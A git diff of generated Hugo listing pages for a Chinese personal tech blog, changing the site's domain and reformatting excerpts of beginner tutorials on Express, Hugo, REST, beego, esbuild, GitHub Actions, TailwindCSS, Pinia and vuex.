+const mongoose = require('mongoose') mongoose.connect('mongodb://localhost:27014/test',{useNewUrlParser: true}) const testdb = mongoose.model('testdb',new mongoose.Schema({ _id: Number, title: String })) /*testdb.inserMany([ {_id: 1, title: "abc"}, {_id: 2, title: "xyz"} {_id: 3, title: "abcxyz"} ])*/ app....</p></div><footer class=entry-footer><span title='2022-02-28 18:04:00 +0000 UTC'>2022-02-28</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Express-Web应用框架" href=https://chenjunlinabc.github.io/posts/138/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Hugo搭建网站</h2></header><div class=entry-content><p>Hugo是基于Go语言开发的静态网站生成器，特点就是快
 安装
 二进制文件安装（由官方编译完成的二进制文件来安装，推荐使用，用源码容易出现问题）
 https://github.com/gohugoio/hugo/releases
@@ -88,7 +63,7 @@
 如果报错，you need the extended version to build SCSS/SASS的话，请使用extended版本
 部署到github pages
 hugo –baseUrl=“http://chenjunlinabc.github.io/"
-如果该命令执行成功，会将静态页面生成到public文件夹中，只需要push该文件夹到github上就好了</p></div><footer class=entry-footer><span title='2022-02-22 05:19:00 +0000 UTC'>2022-02-22</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Hugo搭建网站" href=https://xiaochenabc123.github.io/posts/137/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单了解RESTful设计规范</h2></header><div class=entry-content><p>RESTful是指满足REST的约束条件和原则的应用或者设计，REST全称Representational State Transfer（表现层状态转移），REST出现在2000年Roy Fielding的博士论文中（Roy Fielding是HTTP规范的主要编写者之一），RESTful是目前最流行的API设计规范
+如果该命令执行成功，会将静态页面生成到public文件夹中，只需要push该文件夹到github上就好了</p></div><footer class=entry-footer><span title='2022-02-22 05:19:00 +0000 UTC'>2022-02-22</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Hugo搭建网站" href=https://chenjunlinabc.github.io/posts/137/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单了解RESTful设计规范</h2></header><div class=entry-content><p>RESTful是指满足REST的约束条件和原则的应用或者设计，REST全称Representational State Transfer（表现层状态转移），REST出现在2000年Roy Fielding的博士论文中（Roy Fielding是HTTP规范的主要编写者之一），RESTful是目前最流行的API设计规范
 资源(Resources)：REST是基于资源的，不同的资源使用不同且唯一的URI(统一资源标识符（Uniform Resource Identifier），URI格式例如：/img/hallo.jpg，可表示一个资源的路径和资源名称，URI实质上就是URL加URN)表示，获取资源通过访问URI得到，这个资源可以是任何东西（例如txt，exe，iso，mp3，mp4等等）
 表示层(Representation)：表示层指是将资源具体内容以某种方式展现出来的，例如hallo.mp3，那么就会用mp3的格式来展现这个文件的内容
 状态转换(State Transfer)：如果希望客户端通过某种请求方式来让服务端表示层的资源发生改变，这就是状态转换，这请求方式分别为GET（获取资源），POST（新建资源），PUT（更新资源），DELETE（删除资源）
@@ -104,7 +79,7 @@
 HTTP请求方式（不同的操作使用不同的请求方式，例如获取资源使用get，post新建资源等等）
 如果资源庞大，可通过get参数的形式获取（例如分页），API的版本号应该放在URI中，更改资源，应该修改资源版本号，原有的URI应该保持继续可用
 需正确设置http状态码，根据http状态码来做出不同的响应，例如200正常返回，404文件不存在等等
-简单来说就是使用唯一接口，通过URL来访问不同的资源，通过不同的请求方式对资源做出响应</p></div><footer class=entry-footer><span title='2022-02-16 21:50:00 +0000 UTC'>2022-02-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解RESTful设计规范" href=https://xiaochenabc123.github.io/posts/136/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>beego应用框架的简单使用</h2></header><div class=entry-content><p>beego是一个基于go语言开发的http框架，beego可用于开发web，api，后端服务等等应用，beego架构为mvc模型，支持RESTful api规范设计，支持热更新
+简单来说就是使用唯一接口，通过URL来访问不同的资源，通过不同的请求方式对资源做出响应</p></div><footer class=entry-footer><span title='2022-02-16 21:50:00 +0000 UTC'>2022-02-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解RESTful设计规范" href=https://chenjunlinabc.github.io/posts/136/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>beego应用框架的简单使用</h2></header><div class=entry-content><p>beego是一个基于go语言开发的http框架，beego可用于开发web，api，后端服务等等应用，beego架构为mvc模型，支持RESTful api规范设计，支持热更新
 安装
 go get github.com/beego/beego
 go get github.com/beego/bee
@@ -128,21 +103,15 @@
 controller控制器
 简单接收一下get请求的参数
 controllers/default.go，在func (c *MainController) Get() 函数中修改
-name := c.GetString("name")
-c.Data["Website"] = name
-访问http://127.0.0.1:8080/?name=hallo，views\index.tpl的模板中的{{.Website}}被设置为hallo
+name := c.GetString("name") c.Data["Website"] = name 访问http://127.0.0.1:8080/?name=hallo，views\index.tpl的模板中的{{.Website}}被设置为hallo
 在controllers/default.go看到，其定义了一个MainController结构体，该结构体继承了beego.Controller的全部方法（其中方法包括Get，Post等等方法）
 Model模型
 在bee new中并没有Model实例演示，但是bee api有，而且controller控制器可完成一些简单逻辑，只有当逻辑需要复用时才抽象成Model模型
 View视图
 在controllers/default.go看到c.TplName = “index.tpl”，这个语句就是设置模板文件，该模板支持tpl和html文件，beego使用了golang默认的模板引擎
 在views/index.tpl中可以看到这个
-&lt;div class="author">
-Official website:
-&lt;a href="http://{{.Website}}">{{.Website}}&lt;/a> /
-Contact me:
-&lt;a class="email" href="mailto:{{....</p></div><footer class=entry-footer><span title='2022-02-12 16:50:00 +0000 UTC'>2022-02-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to beego应用框架的简单使用" href=https://xiaochenabc123.github.io/posts/134/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/categories/%E6%8A%80%E6%9C%AF/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/categories/%E6%8A%80%E6%9C%AF/page/3/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+&lt;div class="author"> Official website: &lt;a href="http://{{.Website}}">{{.Website}}&lt;/a> / Contact me: &lt;a class="email" href="mailto:{{....</p></div><footer class=entry-footer><span title='2022-02-12 16:50:00 +0000 UTC'>2022-02-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to beego应用框架的简单使用" href=https://chenjunlinabc.github.io/posts/134/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/categories/%E6%8A%80%E6%9C%AF/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/categories/%E6%8A%80%E6%9C%AF/page/3/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git "a/categories/\346\212\200\346\234\257/page/3/index.html" "b/categories/\346\212\200\346\234\257/page/3/index.html"
index 9289346a..fffdbbb1 100644
--- "a/categories/\346\212\200\346\234\257/page/3/index.html"
+++ "b/categories/\346\212\200\346\234\257/page/3/index.html"
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>技术 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/categories/%E6%8A%80%E6%9C%AF/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/categories/%E6%8A%80%E6%9C%AF/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="技术"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/categories/%E6%8A%80%E6%9C%AF/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="技术"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/categories/>Categories</a></div><h1>技术</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用ESbuild打包工具</h2></header><div class=entry-content><p>ESbuild打包器基于Golang开发，优点在于可多线程打包，直接编译成机器码，ESbuild提供的api可在JavaScript和golang使用，连Vite在很多场景都依赖了ESbuild打包（viet在开发环境下使用这个），支持TypeScript和jsx（tsx），css
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>技术 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/categories/%E6%8A%80%E6%9C%AF/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/categories/%E6%8A%80%E6%9C%AF/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="技术"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/categories/%E6%8A%80%E6%9C%AF/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="技术"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/categories/>Categories</a></div><h1>技术</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用ESbuild打包工具</h2></header><div class=entry-content><p>ESbuild打包器基于Golang开发，优点在于可多线程打包，直接编译成机器码，ESbuild提供的api可在JavaScript和golang使用，连Vite在很多场景都依赖了ESbuild打包（viet在开发环境下使用这个），支持TypeScript和jsx（tsx），css
 ESbuild支持ES6模块，cjs模块，对ES6+语法支持性好，可以直接打包css文件，json文件，ts文件
 注意：esbuild并不对ts文件进行类型检查工作
 安装
@@ -15,24 +15,9 @@
 或者
 yarn build
 例子（app.jsx）
-import React from 'react'
-import ReactDOM from 'react-dom'
-const App = () => {
-return (
-&lt;div>
-&lt;h1>Hallo, Esbuild!&lt;/h1>
-&lt;/div>
-)
-}
-ReactDOM.render(
-&lt;App />,
-document.getElementById("app")
-)
-index.html
-&lt;div id="app">&lt;/div>
-&lt;script src="./build/index.js">&lt;/script>
-我本地打包只花64ms就打包好了
-使用source map功能...</p></div><footer class=entry-footer><span title='2022-02-07 13:37:00 +0000 UTC'>2022-02-07</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用ESbuild打包工具" href=https://xiaochenabc123.github.io/posts/132/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用GitHub Actions来实现CI/CD</h2></header><div class=entry-content><p>CI：持续集成 (Continuous Integration) CD：持续交付 (Continuous Delivery) CD：持续部署 (Continuous Deployment)
+import React from 'react' import ReactDOM from 'react-dom' const App = () => { return ( &lt;div> &lt;h1>Hallo, Esbuild!&lt;/h1> &lt;/div> ) } ReactDOM.render( &lt;App />, document.getElementById("app") ) index.html
+&lt;div id="app">&lt;/div> &lt;script src="./build/index.js">&lt;/script> 我本地打包只花64ms就打包好了
+使用source map功能...</p></div><footer class=entry-footer><span title='2022-02-07 13:37:00 +0000 UTC'>2022-02-07</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用ESbuild打包工具" href=https://chenjunlinabc.github.io/posts/132/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用GitHub Actions来实现CI/CD</h2></header><div class=entry-content><p>CI：持续集成 (Continuous Integration) CD：持续交付 (Continuous Delivery) CD：持续部署 (Continuous Deployment)
 GitHub Actions是GitHub提供的持续集成服务
 GitHub Actions官方文档：https://docs.github.com/en/actions
 workflow：工作流程，指一次持续集成的流程，由一个job或者多个job组成 Events：事件，触发流程的钩子（在github中事件为检测仓库特定活动的钩子，例如pull，当事件被触发则自动执行工作流程） Job：任务，任务是工作流程的主体 Steps：步骤，每个Job可以包含一个或多个Step Actions: 行为，每个Step包含一个或多个Action Runners: 执行环境，工作流程运行时的服务端，每一个执行环境可以运行一个任务
@@ -43,36 +28,19 @@
 jobs：每一项任务都需要定义个job_id，job中的name为该任务的描述，needs为指定当前任务的运行顺序（依赖关系），runs-on为指定运行时需要的虚拟机环境（这个字段必须填）
 目前github支持的虚拟机操作系统有ubuntu，windows，macOS，而且github提供的虚拟机是免费使用的
 这里举个例子（github官方的）
-name: GitHub Actions Demo
-on: [push]
-jobs:
-Explore-GitHub-Actions:
-runs-on: ubuntu-latest
-steps:
-- run: echo " The job was automatically triggered by a ${{ github.event_name }} event."
-- run: echo " This job is now running on a ${{ runner.os }} server hosted by GitHub!...</p></div><footer class=entry-footer><span title='2022-02-01 18:00:00 +0000 UTC'>2022-02-01</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用GitHub Actions来实现CI/CD" href=https://xiaochenabc123.github.io/posts/131/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用TailwindCSS</h2></header><div class=entry-content><p>TailwindCSS是一个CSS框架，我个人理解这东西就是根据class来生成css（按需），而不是像bootstrap那样，TailwindCSS是原子化的
+name: GitHub Actions Demo on: [push] jobs: Explore-GitHub-Actions: runs-on: ubuntu-latest steps: - run: echo " The job was automatically triggered by a ${{ github.event_name }} event." - run: echo " This job is now running on a ${{ runner.os }} server hosted by GitHub!...</p></div><footer class=entry-footer><span title='2022-02-01 18:00:00 +0000 UTC'>2022-02-01</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用GitHub Actions来实现CI/CD" href=https://chenjunlinabc.github.io/posts/131/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用TailwindCSS</h2></header><div class=entry-content><p>TailwindCSS是一个CSS框架，我个人理解这东西就是根据class来生成css（按需），而不是像bootstrap那样，TailwindCSS是原子化的
 安装
 npm install tailwindcss
 初始化tailwind.config.js
 npx tailwindcss init
 在tailwind.config.js中content属性，表示着项目的html或者js文件
-content: [
-'./src/**/*.{html,js}'
-],
-如果没有配置content属性，会警告
+content: [ './src/**/*.{html,js}' ], 如果没有配置content属性，会警告
 warn - The content option in your Tailwind CSS configuration is missing or empty. warn - Configure your content sources or your generated CSS will be missing styles. warn - https://tailwindcss.com/docs/content-configuration
 创建一个css文件配置tailwind三大组件（base，components.utilities）
-@tailwind base;
-@tailwind components;
-@tailwind utilities;
-如果使用的是webpacker或者postcss-import，不能使用@tailwind指令，需要
-@import "tailwindcss/base";
-@import "tailwindcss/components";
-@import "tailwindcss/utilities";
-也可以将css导入到js中
-import "tailwindcss/tailwind.css"
-tailwind编译
-npx tailwindcss -i ./src/index.css -o ./dist/main.css...</p></div><footer class=entry-footer><span title='2022-01-27 12:00:00 +0000 UTC'>2022-01-27</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用TailwindCSS" href=https://xiaochenabc123.github.io/posts/130/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Pinia---vuejs的轻量级状态管理库</h2></header><div class=entry-content><p>Pinia是vuejs的轻量级状态管理库，Pinia支持Vue devtools浏览器扩展工具，可扩展，模块化设计，热模块更新，轻量级，支持TypeScript，支持SSR服务器端渲染，支持vue2，vue3
+@tailwind base; @tailwind components; @tailwind utilities; 如果使用的是webpacker或者postcss-import，不能使用@tailwind指令，需要
+@import "tailwindcss/base"; @import "tailwindcss/components"; @import "tailwindcss/utilities"; 也可以将css导入到js中
+import "tailwindcss/tailwind.css" tailwind编译
+npx tailwindcss -i ./src/index.css -o ./dist/main.css...</p></div><footer class=entry-footer><span title='2022-01-27 12:00:00 +0000 UTC'>2022-01-27</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用TailwindCSS" href=https://chenjunlinabc.github.io/posts/130/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Pinia---vuejs的轻量级状态管理库</h2></header><div class=entry-content><p>Pinia是vuejs的轻量级状态管理库，Pinia支持Vue devtools浏览器扩展工具，可扩展，模块化设计，热模块更新，轻量级，支持TypeScript，支持SSR服务器端渲染，支持vue2，vue3
 Pinia作者也是vuex核心之一
 安装pinia
 npm install pinia@next
@@ -80,24 +48,8 @@
 yarn add pinia@next
 导入pinia并且挂载为vue插件(在Vite脚手架下)
 src/main.js
-import { createApp } from 'vue'
-import App from './App.vue'
-const app = createApp(App)
-import { createPinia } from 'pinia'
-app.use(createPinia())
-app.mount('#app')
-src/stores/main.js（pinia通过defineStore函数来创建state，并且接收一个id来标识state）
-import { defineStore } from 'pinia'
-export const useDataStore = defineStore('data', {
-state: () => {
-return { count: 666 }
-},
-//state: () => {
-//name: chen
-//},
-getters:{ // getters计算属性
-doubleCount(state){
-return state....</p></div><footer class=entry-footer><span title='2021-12-26 20:22:00 +0000 UTC'>2021-12-26</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Pinia---vuejs的轻量级状态管理库" href=https://xiaochenabc123.github.io/posts/124/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用vuex状态管理库</h2></header><div class=entry-content><p>vuex是一个专门为vuejs应用程序的设计的状态管理
+import { createApp } from 'vue' import App from './App.vue' const app = createApp(App) import { createPinia } from 'pinia' app.use(createPinia()) app.mount('#app') src/stores/main.js（pinia通过defineStore函数来创建state，并且接收一个id来标识state）
+import { defineStore } from 'pinia' export const useDataStore = defineStore('data', { state: () => { return { count: 666 } }, //state: () => { //name: chen //}, getters:{ // getters计算属性 doubleCount(state){ return state....</p></div><footer class=entry-footer><span title='2021-12-26 20:22:00 +0000 UTC'>2021-12-26</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Pinia---vuejs的轻量级状态管理库" href=https://chenjunlinabc.github.io/posts/124/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用vuex状态管理库</h2></header><div class=entry-content><p>vuex是一个专门为vuejs应用程序的设计的状态管理
 集中式存储管理应用的所有组件的状态
 多组件状态共享，不同的组件改变同一个状态
 vuex知识点：state，getter，mutation，action
@@ -111,24 +63,12 @@
 new Vuex.store()
 将vuex实例挂载在vue对象上
 index.js
-Vue.use(Vuex)
-const store = new Vuex.Store({
-state: {
-count: 0
-}
-})
-export default store
-main.js
-new Vue({
-store // 将store对象添加到vue实例上
-})
-可以通过this.$store.state.count获取到状态（官方推荐将获取装态的操作放到computed中）
+Vue.use(Vuex) const store = new Vuex.Store({ state: { count: 0 } }) export default store main.js
+new Vue({ store // 将store对象添加到vue实例上 }) 可以通过this.$store.state.count获取到状态（官方推荐将获取装态的操作放到computed中）
 使用解构获取状态： import { mapState } from ‘vuex’ export default { mounted() { console.log(this.count) }, computed: { …mapState([‘count’]) } }
 Getter
-getters: {
-getCount(state) {
